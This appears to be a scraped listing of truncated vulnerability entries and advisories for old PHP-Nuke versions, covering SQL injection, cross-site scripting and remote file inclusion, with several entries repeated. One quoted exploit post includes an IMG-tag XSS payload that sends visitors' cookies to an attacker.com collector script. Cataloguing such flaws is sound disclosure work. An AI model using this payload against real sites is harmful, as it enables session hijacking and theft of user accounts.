CVE-2005-4715

CVE-2005-4715 concerns multiple SQL injection vulnerabilities in PHP-Nuke 7.8. The flaw occurs in modules.php when magic_quotes_gpc is disabled, allowing remote attackers to inject arbitrary SQL via the POST parameters (name, sid, pid) that bypass security checks applied to GET requests. Affected...

CVE-2006-0676

The CVE-2006-0676 entry describes a Cross‑Site Scripting (XSS) vulnerability in PHP-Nuke, affecting version 6.0 through 7.8. The issue resides in header.php and allows an attacker to inject arbitrary script/HTML via the pagetitle parameter, potentially affecting any pages that reflect this input....

[SA18820] PHP-Nuke "pagetitle" Cross-Site Scripting Vulnerability

TITLE: PHP-Nuke "pagetitle" Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA18820 VERIFY ADVISORY: http://secunia.com/advisories/18820/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: PHP-Nuke 7.x http://secunia.com/product/2385/ PHP-Nuke 6.x...

PHP-Nuke 6.x/7.x - 'header.php?Pagetitle' Cross-Site Scripting

source: https://www.securityfocus.com/bid/16608/info PHPNuke is prone to a cross-site scripting vulnerability. This issue affects the 'header.php' script. PHPNuke 7.8 and prior versions are reportedly vulnerable. http://www.example.com/nuke78/?pagetitle=w00ttest...

CVE-2006-0676: Undefined Security Weakness

Cross-site scripting XSS vulnerability in header.php in PHP-Nuke 6.0 to 7.8 allows remote attackers to inject arbitrary web script or HTML via the pagetitle parameter...

CVE-2005-4715: Undefined Security Weakness

Multiple SQL injection vulnerabilities in modules.php in PHP-Nuke 7.8, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 name, 2 sid, and 3 pid parameters in a POST request, which bypasses security checks that are performed for GET requests...

CVE-2006-0308

PHP remote file inclusion vulnerability in htmltonuke.php in the htmltonuke 2.0 alpha, and possibly other versions, module for PHP-Nuke allows remote attackers to execute arbitrary PHP code via a URL in the filnavn parameter...

CVE-2006-0308

PHP remote file inclusion vulnerability in htmltonuke.php in the htmltonuke 2.0 alpha, and possibly other versions, module for PHP-Nuke allows remote attackers to execute arbitrary PHP code via a URL in the filnavn parameter...

CVE-2006-0308: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in htmltonuke.php in the htmltonuke 2.0 alpha, and possibly other versions, module for PHP-Nuke allows remote attackers to execute arbitrary PHP code via a URL in the filnavn parameter...

CVE-2006-0308

CVE-2006-0308 affects the htmltonuke.php module for PHP-Nuke (htmltonuke 2.0 alpha and possibly other versions). The vulnerability is a PHP remote file inclusion in the filnavn parameter, enabling remote attackers to execute arbitrary PHP code. Root cause: improper handling of URLs/filenames in t...

CVE-2006-0185

Php-Nuke is affected by multiple cross-site scripting in the (1) Pool and (2) News Modules, allowing remote attackers to inject arbitrary scripts via javascript in the SRC attribute of an IMG tag. The root cause is unsanitized input in image tags enabling script execution. Impact is web-page defa...

CVE-2006-0185

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

Cross site scripting

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

CVE-2006-0185

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

CVE-2006-0185: Undefined Security Weakness

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

[SA18374] PHP-Nuke News "Story Text" Script Insertion Vulnerability

TITLE: PHP-Nuke News "Story Text" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18374 VERIFY ADVISORY: http://secunia.com/advisories/18374/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: PHP-Nuke 7.x http://secunia.com/product/2385/ DESCRIPTION:...

Php-Nuke Pool and News Module IMG Tag Cross Site

NightWarriorKurdihs Hacker nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c';...

phpnukePoolXSS.txt

NightWarrior nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code:...

PHP-Nuke 7.7 EV Search Module - SQL Injection

source: https://www.securityfocus.com/bid/16186/info PHPNuke EV is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or...

CVE-2005-4715

Multiple SQL injection vulnerabilities in modules.php in PHP-Nuke 7.8, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 name, 2 sid, and 3 pid parameters in a POST request, which bypasses security checks that are performed for GET requests...